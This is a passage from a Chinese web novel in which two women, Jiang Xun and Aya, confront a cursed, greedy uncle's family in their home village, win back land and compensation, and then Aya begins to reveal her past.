第二日早起,江浔坐在梳妆柜前看着铜镜里的自己,阿雅站在她身后用木梳子为她梳着头发。 前几日江浔病着,没怎么打理自己的头发,出门也是随意理两下就行了。 现下要重开铺子门了,当然要打整得干净利落些。 阿雅用木梳子为她仔细把头发梳顺后,在左右两边头侧编出两根小辫子,红色发绳如同抹额般压在额前,往后拉。 到编辫子的地方时,同辫子缠绕在一起,最终带着所有头发在脑后绑个高高的马尾。 红金色发绳缠绕在乌黑发间,为江浔增添一丝光彩,发高高束起,英气勃发。 一下就让随意的、大病初愈人变得利落伶俐。 等阿雅把她的头发弄好,江浔在铜镜前左看右看,头一次觉得人和人的手就是有这么不一样。 居然阿雅给她扎的头发又规整又好看,每一步都像是有程序似的。 关键是她的头发在阿雅手里也很听话,让待在哪里就待在哪里,都不乱跑的。 江浔往后靠在阿雅身上,抬起头望向她,眨巴眨巴眼道:“以后每日都帮我束发吧,你弄的好看。” 阿雅:“再说吧。” 并非她不愿意,只是这本来买与江浔扎头发的红发绳,早就被“用作她用”了。 再用来扎头发,怎么都显得怪异。 还让她天天帮她扎,那不是更怪了? 阿雅眼神飘忽一瞬,又移回到江浔脸上。 在她眼中的江浔是倒着的,下巴极尖,但脸颊上有点肉。 伸出两只手指捏上去,很容易就捏起来圆圆的肉。 泛粉的指尖轻轻揉捏着那点颊肉,阿雅又口是心非说了句,“再说吧。” 从房内出来后,因为定的大陶罐还没有送过来,两人就没忙着做番柿酱。 江浔看还有时间,给阿雅说了一下自己想去找江志修一家的事。 阿雅:“怎么想着要去找他们?” “我得让他们赔我们钱。”江浔:“他们夺了我们的门就逃了,修那门可花了不少嘞。” 那么大块厚实木头都要一百多文,还要算上谭木匠的工费,要卖多少番柿才能赚回来? 可不能白白亏了这钱才是。 越想江浔就觉得越不得劲儿,说什么都要再去找江志修一家三口一次。 阿雅大大的杏眸看向江浔,“我想跟你一起去。” 江浔:“可以,只是如果要打架的话,你躲我身后。” “我会护住你的。” “还会打架?” 阿雅有些意外,眉头微蹙杏眸如狸猫般眯了一下,似乎在思考着什么,好一会儿才道:“那我们得拿上趁手的工具。” 说着,便转身到案板旁拿起一把菜刀。 江浔:?魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 60-70 第61章 两人坐着牛车晃晃悠悠往江家村去,阿雅怀中用布包着一把菜刀,…… 两人坐着牛车晃晃悠悠往江家村去, 阿雅怀中用布包着一把菜刀,江浔好说歹说都没让她放下。 只能就这样去找江志修一家。 经历过上次对方来找事后,阿雅就觉得手里还是要有唬人的东西才行,不然会被欺负的。 而且江家村毕竟是对方的地盘, 谁知道会有多少人帮他们? 见势不对, 先把人吓住, 她再和江浔一起逃。 阿雅有些紧张,双手有意无意一直按在自己藏刀的地方,眼神盯着前方,随时注意是否要到江家村了。 江浔的想法就比阿雅单纯许多,她给江志修三人下的霉运时间还没有过,自己和阿雅身上的好运也没有过。 应该也不会遇见什么太大的事。 她只是怕有万一, 才提前叮嘱阿雅几句, 没想把人搞得那么紧张。 她环住阿雅的腰,另一只手为阿雅遮挡住一点, 别被人看出来带什么东西了。 同车有两位大娘一直在闲谈, 从村里谁谁谁和谁谁谁好上了, 谁谁谁彩礼聘礼有多高,又说到自家女儿不知怎么了大字不识几个, 居然开始拿着话本子看起来了。 “对对对, 我家那姑娘也是, 说是镇上都在谈个啥子故事,她才想借来看一下。” “哎呀,我是不想管那么多的, 真是牛嚼牡丹, 她要是真看得懂就好了。” 听到她们说这话,阿雅难得从紧张的情绪中脱离出来, 看了一眼两位大娘。 这一眼直接就和两位大娘对视上了,那位说不想管那么多的大娘,直接开口道:“看你捂一路肚子了,是不是难受?” 阿雅哪能想到对方会直接和自己搭话,问的还是自己想藏着的东西,一时不知该怎么回答。 大娘见阿雅不说话,以为是她太难受,便把眼神放在江浔身上,又问道:“你妹子是不是肚痛难受啊?给,吃个鸡蛋管用!” 她从自己怀里摸出一个还带有余温的鸡蛋,朝江浔的方向递,还在说道:“不管是生啥子病,吃个鸡蛋补一下准没错!” 村子里的人几乎每家每户都会养鸡,想获得鸡蛋倒是很容易,但鸡蛋终归是金贵物,她们平日里都舍不得吃,想着攒够一篮子提镇上去卖嘞。 这颗鸡蛋都是大娘想着要去镇里卖东西,能有点银子,才大方给自己煮的。 江浔和阿雅看见大娘友好地递来一颗鸡蛋,眼神中都有些意外。 “婶子你留着吃吧,我妹子一会儿就好了,不碍事的。”江浔把大娘的手往回推了一下,用力摆着手,表示她们真的不需要。 “吃吧吃吧,小姑娘身体重要,你看这小姑娘多乖,忍心让她难受啊?一颗鸡蛋而已,大娘家多的是。” 大娘找准时机,直接把鸡蛋扔到阿雅怀中! 牛车还在移动中,要不是阿雅手忙脚乱把鸡蛋接住了,恐怕鸡蛋就要从牛车上落下,再滚到田里去了! “吃吧吃吧别客气,你这小姑娘招人喜欢,没事。” 和这位大娘闲谈的另一位大娘也帮腔道:“是啊是啊,快吃吧,我这里有水,别噎着了。” 她又递过一个竹筒,里面水晃得哗啦哗啦响。 阿雅和江浔对视一眼,两人眼神都是意外又无奈。 “那就谢谢两位婶子的好意了,两位婶子怎么称呼?”江浔从阿雅手中拿过鸡蛋,帮她剥着,同时又和两位大娘攀谈,“这是打算去哪个村儿?” “叫我萧婶子,”给鸡蛋的萧婶子指着递水的大娘道:“叫她王婶子就行。” 几人开始凑在一起闲谈起来。 江浔知道了两位婶子也是要去江家村,是要去找媒婆给自家女儿相看人家的。 萧婶子:“哎,我家那个长得五大三粗的,也不知能嫁什么样的人,愁死我了。” 江浔不好说啥,只能顺着话道:“缘份会来的。” 几人聊着聊着,很快就到了江家村,两位婶子先行离开去找媒婆,江浔和阿雅在村口站了一会儿,容江浔想了想去江志修家的路,才走进村子里。 按理说江家村里的人都沾亲带故的,可原主父母搬离得太早,搞得江浔根本不认识村里的亲戚。 倒是村子里好些经过的人看见她,脸上都露出点思索和疑惑,似乎觉得她长得很眼熟。 江浔按照记忆中的路,走到一家青瓦房旁,确认了这就是江志修一家住的地方。 江志修一家是村里第一家修青瓦房的人,屋子也比其他家多一间,属于是村里顶有钱的一批人了。 此时,江志修家大门紧闭,静悄悄的,江浔没管那么多,上去就哐哐哐敲门。 势必要把里面的人敲出来。 屋内确实有人,这几日江志修一家倒霉透了,出趟门都能摔在牛粪上,狼狈无比。 搞得他们都不敢出门,只敢在家里缩着,能不做事就不做事。 他们也觉得奇了怪了,怎么会突然就这么倒霉?难道真应验了江浔说的话,他们那死去的弟弟弟媳找来了? 不能吧? 一想到有这种事,三人就吓得缩在一起瑟瑟发抖,日日在对着天祈求老天能把弟弟弟媳的鬼魂收走! 这三人心虚到青天白日听到突然的敲门声都吓一大跳,安静地听着外面的动静。 发现没动静后更惊恐了! 不会吧? 不会鬼魂能敲门吧? 三人谁都不敢贸然出去看,只能听着敲门声越来越重,像是有人拿着把大锤子,不断锤打在他们的骨头上。 要把他们敲的粉碎般。 更加坚定他们默不作声装死的想法了。 在门外敲了半天门,发现没人来开,思索一番开始大声吼道:“江伯父伯母开门啊!你们有本事欠钱不还,有本事就开门啊!” 此话一出,那些出门准备去田里劳作,或去山上割猪草的村民们齐刷刷停下身形,望向江浔。 他们听到了什么? 那江志修一家居然欠钱了?还被人找上门了? 在小小的村落里,这可是大八卦啊! 一时之间大家离开的脚步纷纷变成龟速,侧头侧目,竖起耳朵,都想听听这是怎么一回事。 而里面江志修三人听到外面是江浔的声音,对视一眼,居然没有之前那么怕了,竟是冲刺般地跳下床,往门口冲去! 砰一声打开门! 还在喊着“欠债还钱天经地义!你们一家别看我是个老实人,就想欺负我!不可能!”的江浔,停下声音,看着那江志修闪现般跪在自己脚下,伸手想抱她的腿。 见状,江浔跟遇见脏东西了似的,立马收回脚朝后退几步拉开距离。 下跪可以,被脏东西碰到可不行! 江浔身旁的阿雅见江志修一出来,就要对江浔拉拉扯扯,面上一下就不高兴了,怀中藏着的刀都有些忍不住了! 江浔眼疾手快,又把阿雅的手给按住,还握在手心中捏捏揉揉,小声安抚道:“没事,别气别气。” 说罢又看向跪地上的江志修,厉声道:“干什么!讹人可没用,今日你们不还钱我是不会有的。” “江妹妹!你让幺爹幺妈赶紧离开吧,别折磨我了,我受不了了!求求了,我真的受不了了!” 江志修跪着朝前蠕动几步,一把鼻涕一把泪的哭着,看的周围村民脸上露出嫌弃,朝后退好几步,怕被沾染上。 见村子里的村民大半都在这里,跟在江志修身后出来,本也想跪在江浔面前求饶的江伯父伯母两人顿住,膝盖是软的,但脊梁骨却想挺直。 硬生生没让自己跪下去。 他们也被最近几日的倒霉折磨透顶,觉也睡不好吃也吃不好,也不能去地里了,只能成日提心吊胆自己哪一日就会因为太倒霉,死了都没人发现。 现在他们一家三口皆是印堂发黑,双目凹陷,脸上身上青一块紫一块,衣服破烂脏污,完全没有往日那神气模样, 还真别说,看的大半村民都觉得过瘾! 村民们平日里就厌烦这三个眼睛长头顶的人,不就是仗着自己分家时弟弟弟媳没有争抢东西,才有那么多田、那么多银钱吗? 不义之财,损阴德的! “你们可别乱说话。”江浔一眼扫过去,就知道这三人已经快被折磨崩溃了,毕竟所有霉运都用在他们身上,想不难受都不行。心中有底后,江浔说话就特别悠闲了,“我爹妈在地里埋得好好的,你要是能把他们说活了,我还得感谢你。” “什么折不折磨的,我看你们这不是好好的,能蹦能跳?” 江志修眼睛瞪大,害怕地望着江浔,“别别别,幺爹幺妈确实好好的,确实好好的,不关他们的事不关他们的事。” “是我,是我自己倒霉,才把自己整成这样的。求求了江妹妹,饶了我吧,我真的快活不下去了!” 他哪里是什么又蹦又跳的啊,他喝凉水都能被噎得半死不活,上茅厕都能栽粪坑里,早就不知在鬼门关走了几遭了。 真的蹦跳不起来了。 他就说江浔邪门儿吧,他父母还拎不清非要来招惹,搞得他已经快倒霉一月有余了。 要是再这么下去,他迟早要被折磨疯、折磨死的! 想到这种可能,江志修就怕得不行,都想当场给江浔磕头了! “你们分明就是坏事做太多才倒霉的,别什么事都赖在我身上,我没那么大本事!”江浔也不想让人怀疑自己有什么能力,要是被当成女巫她还不知该怎么解释。 “实话告诉你们,我今日是来要债的,你们那日把我铺子大门夺走后,花费了我一两银子修补。” “这钱你们总该给我。” 听到这话,周围的村民反应了一下,才反应过来前段时日这三人脖子间套着木头环回来,原来是这么回事。 噗嗤,原来是这么个夺门而逃,大家忍不住笑了出来。 还有人瓜子都掏了出来,嗑嗑嗑着。 “应该的应该的。”江志修立马转身看向自己的父母,道:“拿钱啊!你们不想好了!?” 他父母对视一眼,咬咬牙,觉得花一两银子消灾解难也算能接受。 江伯父便忍痛从荷包里掏出一两银子,递过去。 江志修接过,用双手呈给江浔的,卑微姿态做的十足。 拿到银子后,江浔又道:“之前你们家说我父母欠你们五十两银子,可有此事?” 江志修慌乱摇头,连声否认,“没有此事没有此事,幺爹幺妈都是大善人,怎么会欠别人钱?只有别人欠他们钱的份儿。” “你这么说我就想起来了。”江浔嘴角露出丝笑,顺着他的话道:“我想起来反倒是你们家欠我五十两!” 江志修:? 他父母:??? 第62章 得到土地啦! 在场所有人都倒吸了口冷气, 五十两啊,这可是五十两啊! 有几家人能随意拿出五十两啊? 他们听着都觉得吓人,更不要说欠别人钱的江志修一家三口了。 江志修三人脸上的表情都快震惊到开裂了,发白的嘴唇不断颤抖, 身体摇摇欲坠。 江伯父抬手指向江浔, 口中道:“你、你、你!别欺人太甚!走我们回去, 这人分明就是故意的!果然老五一家就没有一个好东西,想把人逼死!” 说到底,江伯父就是觉得自己才倒霉几日,总不可能倒霉一辈子吧? 而且他也不太相信讨好江浔能让他们不倒霉,说不定只是江浔从哪里听说他们在倒霉,故意来诓骗他们的。 想到有这种可能, 江伯父就更加坚定自己的想法, 走上前去,想把自己跪在地上的儿子给拉起来。 太丢人了, 他们好歹也是村里有头有脸的人物, 怎么能随意向别人下跪? 遇到这种糟心事, 以后都抬不起头了! “我看你真是失心疯了,男儿膝下有黄金, 你这让我们老江家的脸面往哪里放?” 江伯父嘀嘀咕咕的, 边走边弯下腰, 去拉江志修。 却不知怎么的,还没碰到江志修,他脚下像是打滑般, 一个出溜就摔在地上, 摔得四肢着地,脑袋重重在地上磕了一下。 脏污泥土糊了满脸, 鼻血也顺着鼻腔流出。 他眼前一片漆黑,头昏脑胀,第一时间没有立即爬起来,只觉得自己这摔一下快要被摔得背过气去。 脑袋是空白的,根本无法思考自己到底是怎么了,只能趴在地上发懵,耳边传来阵阵窃笑声。 是那些村民,是那些他平日里看不起的村民。 站在原地的江伯母看着自己的男人不知怎么的,居然摔在地上去了,周围又那么多人笑话他们。 她一时急火攻心,眼神四下找寻后,从墙角抓起一根竹竿,就要冲去打江浔! 在她看来,这一切都是江浔搞的鬼,要是没有江浔这个人,他们就不会遭遇这些事,他们说不定能美美拿到钱,到镇子里生活! 那根竹竿很长,在空中晃动着挥下时,还发出了“咻”的一声,可见江伯母用的力气有多大! 竹竿眨眼间便要落在江浔身上,阿雅也慌了,她不想看见江浔受伤,她也接受不了江浔被别人欺负。 平日里都是江浔时时刻刻把她护在身后,保护着她,可关键时刻,她也想保护江浔! 站在江浔身后的阿雅挡在了江浔身前,摸出怀中的菜刀,菜刀上包着的布不知什么时候被去掉的。 凌厉的刀锋在阳光下寒光凛凛,反射的光都让大家觉得有些刺眼了。 江浔只听耳边传来“咔嚓”一声,等定睛看去时,阿雅已经拿着菜刀把竹竿给砍断了! 甚至还想向江伯母走去,想要做点什么。 江浔双眼一下瞪大,手忙脚乱把阿雅给拉回来,抱在怀中,手又小心又用力把阿雅的菜刀夺过来,别在后腰处。 “你没受伤吧?有没有被竹竿伤到?有没有被菜刀伤到?手腕还好吗?” 她牵起阿雅的手,手指捏过阿雅的腕骨、指节,确认都没有被伤到后,才有急忙捧起阿雅的脸,去看她脸上的情况。 竹竿被砍断,细小竹子碎片乱飞,有一小块就划过了阿雅的眼尾,在上面留下条深红血痕。 要是再往里靠那么一寸,恐会伤到眼睛。 “你胆子真是太大了,疼吗?伤到眼睛了怎么办?要是刀脱手了又怎么办?” 江浔看着阿雅眼尾处渗血的伤,暂时也不敢碰,怕阿雅疼,也怕随意触碰伤口后感染了。 她不知今日阿雅是怎么了,感觉精神状态一直很紧绷,有些时候沉浸在自己的世界里,也不听她的嘱咐。 其实她根本就不会被江伯母打来的竹竿伤到,她自己也可以躲开的。 即便躲不开,挨一下,断的也只会是竹竿。 根本不需要阿雅冲上前,用刀去砍的。 万一阿雅刀砍不动竹竿,万一没拿住刀,那受伤的就会是阿雅了。 阿雅胆子太大了! 江浔有些生气,手掌重重拍了几下阿雅的脑袋,把人紧抱在自己怀中不得动弹。 冲因为竹竿被砍断,同样摔在地上的江伯母说道:“原来你们一家是巴不得我死啊!无故械斗,我看你是想吃牢饭了!” 又是死又是械斗的,那么大顶帽子扣下来,看好戏的村民们都不自觉噤声。 即便不关他们的事,看向江浔的眼神中,也隐隐有害怕。 他们有些人认出江浔是谁了,在和旁边人求证是不是“搬到清水镇的江老五家的姑娘”。 认出江浔是谁,大家突然就觉得江浔做这一切简直对到不行,甚至觉得江志修一家三口是活该的。 在气氛凝固下来时,有几人从远处走来,都有点好奇这里发生了什么事。 走在最前面的是江家村的里正,他今日去田中干活,却发现大半村民都没有来,疑惑不已。 走在里正身后有三人,是江浔阿雅之前遇见的萧婶子王婶子,和一个媒婆。 她们三人只是刚好和里正顺路。 走到江志修一家三口房子附近后,也有些奇怪这里为什么围满了人。 看见里正出现,所有人都让开位置,让里正进去。 “这是怎么了?”里正问道其中一个年长一点的村民。 那村民直接说的就是清水镇江家老五的姑娘回来了,和江志修那一家闹起来了。 说是欠了人姑娘五十两银子呢。 年长者:“要我说,江老大一家就是做的不地道,早几年分家时,一分家产都没给江老五不说,居然还欠钱不还。” “你说一小姑娘找哪里说理去?她还差点被打了嘞!” 江老大,也就是江伯父,要不是他们一家品性实在不堪,也不会没有一人帮着说话。 里正听完前因后果,心中就信了一大半。 这江老大一家,自从他们的爹娘离世后,干事情越发没有道理了。 他们本就得了家中所有田地,好好耕作,何愁赚不到钱? 他们非要三天打鱼两天晒网,要等到钱都用完了,才想着种会儿地,卖点东西赚钱。 或者各个亲戚那里去打秋风。 就这样还要充大方,什么都要用最好的,实则早已金玉其外败絮其中。 他好说歹说,让他们把田地租出去给别人种,好歹还能获得银钱不让土地荒废不是? 哪想这三人灵机一动,去买了个有些痴傻的男儿,让那男儿种地养他们三人。 要只这样也就算了,他们还对那男儿非打即骂,不给饭吃不给地方住。 现在那男儿衣不遮体瘦骨嶙峋,快被磋磨死了。 想到这个,里正心中就一阵后悔,早知道不管这三人,那男儿说不定还活得更好点。 里正看着眼前的乱象,白了江志修一家三口一眼,直接道:“走吧,去官府,官府自有定夺。” 江浔也是江家村的人,他两方都不能偏帮,也不想管这糟心事。 说要去官府,江志修一家三口被吓傻。 他们可不能去啊,他们自知自己干的一些事是没理的,万一去官府了,被打板子、被关大牢,就完了呀! “不去不去!我们不去!”三人同时吼了出来,连滚带爬从地上站起,想往屋里躲,“我们又没做错什么,为什么要去见官?不去不去!” 江浔其实也不想去官府,她平白想坑别人五十两,到官府去后也说不过去。 看来这件事只能到此为止了。 她道:“我们两家当初分家就分得干净,再无任何瓜葛,你们别没事来找事。下次如果再来惹我,当心我娘带你们下去做客!” 砰! 江志修三人重重把屋内关上,缩在屋子里。 警告完,江浔呼出一口气,又冲江家村里正道:“打扰大家了,以后我不会再来村子里了。” 里正摆摆手,道:“老五家的姑娘,你说的这是哪里的话,这里是你家,你想什么时候回来就什么时候回来,常来玩。” 那位年长者也接话道:“是啊,这里毕竟有你们的宅子和田地,常来看看也好。” “宅子和田地?” 这江浔倒是真不知道,她那时还太小,根本没有一点记忆。 说道这个,年长者又是一阵唏嘘,“当时你爷、奶病重,全是靠你爹娘照顾的,结果你爷、奶走后,你爹娘没分到一点钱不说,房子也让出来了、地也让出来了。” 当时原主父母早就有要去镇上做生意的想法,只是父母病重,就耽搁下来了。 送走父母后,他们就想完成心愿去镇上。 江伯父看准时机,在原主爹娘耳边念叨他们没尽孝,父母才走就要离开,伤父母的心。 又说什么,他们兄弟两人是一家,你们去镇上后,放心把屋子、田地交给他们打理,绝不会出错。 结果原主爹娘被说来说去,说心软了,真就信了江伯父的鬼话,把屋子和田地全给了江伯父。 这下,江伯父直接本性暴露,吞掉所有东西,还把原主爹娘逼走了。 但事实证明,有能力的人在哪里都能混得风生水起,而没能力的人只能坐吃山空。 听完上一辈的事,本来想走的江浔又不打算走了。 如果两家只有最近发生的这些事,那解决了也就解决了。 哪想居然还有以前被坑的事。 怪不得江志修一家敢来找她,原来是觉得她好欺负、觉得她是个冤大头,随随便便说几句就能获得好处。 想到这里,江浔心里生出一股子不爽,连带着原主爹娘被坑之事,她也觉得不舒服。 都被人欺负到头上来了,怎么可能就这么算了? 江志修一家是惯犯了,她这次放过了他们,那万一下次自己再生病,或再遇见什么事。 这三人还是会来落井下石,还是会来欺负阿雅的。 所以必须一次性惩处到位,让他们害怕,让他们再也不敢出现在清水镇才行。 江浔停下准备离开的脚步,站在原地思考着应该如何对付江志修一家。 而其他围在旁边,听完年长者讲完当初的事,口中也是一阵唉声叹气。 左一句右一句道: “江老五人挺好的,什么都会修,大家家里有个什么东西坏了,他都会帮忙的。” “老五媳妇人也不错,从不会占人便宜,是个体面人。” “她就是江老五家的姑娘,叫什么?叫江浔!?” 这人声音有些压不住的意外与震惊,嘴快道:“前些日子,清水镇传的有人得疫病,不就是这个江浔!?” 是吗??? 刚才还在夸江老五的人群一下一顿住,脚步踌躇,很想当场和江浔拉开距离。 不过很快就有其他人为江浔说话,“哎呀哎呀,看江浔面色那么红润哪像是有病的样子,你别是听别人乱传的。” 要说江浔脸色灰败、死气沉沉,大家可能会信。但现在江浔脸色那么好,身体又健康,怎么都不像有疫病的人。 “好像就是乱传的。”又有一人接话道:“我好像看见江老大在偷偷摸摸和清水镇的泼皮无赖接触?” 这人说的不确定极了,惹的江浔、阿雅和里正几人都望向他。 里正问道:“你说的可是真的,江老大找过清水镇的泼皮?” 大家都是人精,这句话是什么意思不言而喻。 江浔也一下子想到阿雅跟她说的,是有人故意散播谣言,说她有疫病的。 没想到居然是江志修一家干的好事! 这下江浔彻底没办法忍了,火气噌噌直冒,放开阿雅,叮嘱阿雅在原地等她,自己却大步走向江志修的房子。 抬起一脚踹破他们的大门! 砰! 重重的声音把屋子内三人吓一跳,本来坐着的身形立马站起,脑袋朝外张望,想看发生了什么事。 江浔走进去,抽出后腰别着的刀,眼神扫视过有好几间房,比她住的屋子大得多的地方,最终确定江志修三人所在后,走了过去。 眼神锐利,发丝与马尾朝后甩动,额间鲜红的发绳像是被血染过一般。 躲在屋子内的三人看见如此可怖的人,提着刀走向他们,吓得疯狂大叫道:“快关门!快关门!你去啊你去啊!” 他们左推右推,最后把江志修推出来,让江志修快去把屋门关上,别让江浔进来了。 可江志修哪有这个本事啊? 他本就被吓得腿软不已,两股战战,被推出来后还没走到两步,就踢到门槛瘫倒在地上。 额头不断磕头道:“求求你放过我吧!我真的什么都没做!我没钱我没钱,我想给你钱的,但是我没钱啊!你去找他们吧,你去找他们!” 江志修还以为江浔是想要五十两银子,便直接指向自己的爹娘,“钱都在他们那里,你去找他们!你去杀他们!” 缩在屋子最角落的江伯父伯母两人抱在一起,跟两只鹌鹑似的。 江伯父还想硬气起来,色内厉荏吼道:“江浔!我可是你伯父!你这样是要被天打雷劈的!” 回应江伯父的是,江浔抬手握住菜刀往屋子门上砍的声音! 咔嚓——!!! 菜刀直接砍穿木板门,在上面留下和不可磨灭的大洞,又被江浔毫不费力取出。 江浔踩着江志修的身体走进屋内,来到江伯父伯母面前,又是一刀砍下去! “啊啊啊啊啊——!!!” “杀人了!!!” 吓得这两人眼珠子都快要从眼眶中瞪出,尖叫声更是劈叉。* 刀砍在他们身旁打了蜡的厚木桌上,居然也是轻松砍穿,在上面留下一个缺口。 刀太利,估计砍在人身上也是一点阻碍没有。 江伯父伯母惊恐地看着桌上的痕迹,身体软倒在地上,吓得丢魂儿似的说道:“五十两,五十两,给你五十两就是,我给我给。” 这时,江浔才呵了一声问道:“是你们找人说我得疫病了?” 江伯父伯母哪还敢隐瞒啊,只能忙不迭点头,说:“是是是,是我们。” 说慢了还怕江浔一刀砍他们身上去了。 江浔转身朝跟在自己身后进门的里正、村民们道:“大家都听清了吧?他们做的好事!” “里正,你说该怎么处理?送到官府还是……?” 猜测始终都只是猜测,但现在他们承认了就不一样了,那可就真是犯事了。 被问道,江家村里正也觉得有些头疼,有这种人出现在村子里,尽给村子里添乱。 要是他们村出了人品败坏到这种程度的人,以后怕是要低别的村一头啊。 “不去官府不去官府!”趴在地上的江志修抬头,又磕了几下头,才颤抖着开口道:“我们赔钱,我们赔钱便是!” 去官府他一辈子可就完了,绝对不能去。 只要能不去,让他干什么都行。 江浔等的就是这句话,“既然说赔钱,那我们就来好好算算,当初分家,我家应该分……我成亲你应该随……造谣生事应该赔……精神损失费……” 精神损失费是什么,江志修听都听不懂,但他又不敢说什么。 大大小小费用算起来,早就超过五十两了! 而且江浔说完这些费用后,还道:“再加上你们欠我的钱,抹去零头,你们给我一百两就行。” 说完,江浔面上笑容都抑制不住,要是忽略她手中的刀,一看就是个乐观开朗的小女孩。 听到要赔一百两,江志修一家三口竟然同时觉得上气不接下气,心口堵得不行。 喘一口气后,噗嗤吐出三口血! 要不是江浔躲得快,差点被溅到。 倒霉就倒霉在,他们都吐血了,却没晕过去,没办法拖延时间。 只能当场做决定。 他们不想给这么多钱的,但眼神望向里正,望向其他村民,竟然没有一个愿意帮他们说话。 全都看天望地,默认他们必须给那么多钱才行。 里正还帮忙劝道:“江老大啊,你们就认了吧,本来就是你们做的不地道,不义之财不可取啊。” “趁着这个机会改过自新,好好做人,何愁活不下去?要是真去了官府,你们一辈子就完了啊。” 听到里正的话,江伯父又是“噗嗤”一口鲜血吐了出来。 里正:嘿嘿- 最后,在所有人的见证下,里正改写地契,把当初原主爹娘应该分得的房屋和土地全部划到江浔头下。 又由于江志修一家拿不出那么多钱,他们就只能赔更多的土地,用来抵债。 江浔也没想到自己来一趟能收获这么满,原主爹娘以前住过的房子拿回来了,土地也得到了三十块,大约是三亩地左右。 她站在自己的土地旁眺望过去,一眼望不到头。 前几日她还在和阿雅商量要到村子里租地种菜,这下直接有自己的土地了,就不用费功夫去租了。 江浔又牵起阿雅的手,打算同阿雅一起在土地旁走走,规划一下应该怎么做。 里正跟在她们旁边,指着那个在地里干活的人说道:“我让江老大一家把他的卖身契也给你们了,以后他的去留就是你们说了算。” 这也算他的私心,觉得这痴傻男儿跟着江浔二人,总比跟着江老大一家好点。 看完地,里正把她们送到村子口,两人又正好碰见来时那两位婶子。 这下正好了,一趟牛车上只有她们四人,四人坐在一起萧婶子开始问到当时发生了什么事。 她们来的迟,只能站在最后面听,对于发生了什么是一知半解的。 唯一知道的是,王婶子要为自己女儿相看的,那个姓江的家里有点小钱的男子人品不行,不适合结亲。 说道这个,王婶子庆幸无比,“要不是有你们,我都不知他是这种人,差点就把女儿推进火坑了。” 萧婶子是陪王婶子来的,顺便也是想问问媒婆有没有适合她女儿的人选,结果这看来看去突然发现想选个配得上自家女儿的人家,可真是难啊! “对了,你两位成亲了没?没有的话我找媒婆给你们相看啊?”萧婶子眼神在江浔和阿雅脸上扫过,感叹道:“你们长得好,绝对有很多人喜欢。不想我女儿,五大三粗、凶神恶煞,跟山林里的恶虎有什么区别!” 说到相亲,江浔立马又把阿雅往自己怀中抱了抱,表态道:“我两成亲了,这是我的妻子!” 说罢还往阿雅脸蛋上亲了一口,表示自己绝不是在开玩笑。 她算是怕了相亲了,乱点鸳鸯谱,差点把阿雅给点飞了。 她现在不希望任何一点误会出现在两人之间,甜甜蜜蜜过下去就是最好的。 被亲,阿雅脸蛋立马热了起来,红扑扑的,小声道:“是、是,我是她的妻子。” 知道她们不是姐妹,是妻妻,两位婶子都有些惊讶。 萧婶子磕巴了一下才道:“哦哦,原来你们已经成亲了,哈哈,感情真好啊,哈哈。” 气氛有点尴尬,四人都没有再说话,身体随着牛车摇摇晃晃。 阿雅被江浔抱在怀中,一点都没有被颠到。 当牛车走到一个岔路口时,萧婶子和王婶子到了,沿着岔路口再往里走一段路,就是她们的村子了。 离开前,萧婶子又回头看看晃悠的牛车,和牛车上依偎在一起的两道背影。 抠抠脑壳,突然觉得好像自家女儿找个妻子也可以? 萧婶子又抠抠脑壳,思索着回家了。 等江浔和阿雅二人回到清水镇时,午时都过许久了。 回到清水镇阿雅的心情就变得轻松又活跃起来,提着裙子像一只翩翩起舞的蝴蝶般跑进院中,准备做点吃食。 她脸上笑容很明媚,清亮嗓音同江浔说道:“这下我们可不用愁了,把地种上,就不用担心没有番柿和土豆给徐浆娘了。” “浔姐姐你今日好厉害啊,一下就获得那么多东西。” 看着阿雅肉眼可见的开朗起来,江浔觉得有些奇怪,摸出别在后腰的刀放在案板上,冲阿雅道:“来,先给你上点药,以后不用挡在我前面,我不会有事的。” 阿雅又翩翩到了江浔身旁,唇撅了一下,嘀咕道:“我也想保护浔姐姐。” “嗯,阿雅很厉害的,今日要不是有阿雅在我恐怕要受伤了。”江浔找出之前涂外伤的药,用食指点着,小心翼翼涂在阿雅右眼眼尾处。这里有道小划痕,搞的阿雅眼尾一直是艳丨红的,像是才哭过,“阿雅用刀也很厉害,一下就能把竹竿劈断。” 该夸还是应该夸的,阿雅敢拿起工具保护自己、保护她本来就没有错。 不能因为她担心阿雅受伤,就让阿雅失去保护自己的能力。 涂好药,江浔额头抵在阿雅额头上,闭着眼睛抱着人,似乎是在恢复自己的精力,又似乎是在思索着什么。 阿雅也没有说话,同江浔贴在一起,像两朵并蒂花。 好一会儿,江浔才开口道:“没事了阿雅,没事了,他们永远不会再来找我们麻烦了。” 她能感觉阿雅面对江志修三人精神一直是紧绷的,只有回到自家小院,才放松下来。 她能做的就是不断让阿雅放下心,感受到安稳。 “我会永远陪着你的。” 阿雅双眼唰地睁开,看向江浔,两人凑得太近,睫毛几乎要刮到对方的脸。 她看了会儿江浔脸上毛绒绒的小绒毛,笑眼弯弯。 “我知道的,浔姐姐。” 她已经开始变得软弱了,不想面对苦难与危险。 不过有浔姐姐在,就没有苦难与危险。 凑那么近望着对方,不一会儿就把两人都看晕了,忍不住捂住自己的眼睛拉开距离,靠在椅子上笑着。 第63章 忙忙碌碌 笑完后, 阿雅捂住眼睛上的手放在膝上,微微蜷缩起手指,湿润的指尖在百褶裙上留下更多不规整的褶子与湿痕。 长睫垂下,挡住眼眸。 软唇抿了抿, 才犹豫道:“浔姐姐, 我其实是被人逼迫, 才沦为奴籍的。” 这话题两人从未谈论过,江浔知道阿雅受了很多苦,才被她遇见。所以买下阿雅后,就把卖身契还给了阿雅,让阿雅知道两人同样为人,并没有什么不一样。 并且也没有刻意去问阿雅经历了什么, 怕让对方难过。 但现在阿雅主动要说, 江浔也会认真倾听的。 她道:“别坐那么远,凑近些。” 双臂冲阿雅张开, 眼神明亮, 脸上带着温柔的笑意, 等着阿雅自己进入她的怀抱。 原本有些踌躇不安的阿雅看见对方冲自己敞开怀抱,心脏像是被谁戳了一下似的, 有些发酸。 她慢慢移动到江浔身边, 倚入她怀中, 双手环住江浔的腰。 “我娘亲还在时,待我也是很好的,教我读书识字给我做好吃的, 还带我去各处游玩。后来爹娘出城办事, 遇匪被杀害后,府中一应事务就被继母管控了。” 继母刚掌权时还好, 还会对她多有关心,不敢磋磨她。 但随着继母权利越来越大,也越发容不下她,怕她随着年龄增长开始想要夺权。 便想尽一切办法折磨她,让她做各种活计,让她吃各种坏了的馊了的食物。 让她低头。 只要她肯低头,肯当个微不足道的小玩意,那她就可以顺遂平安的过完一生。 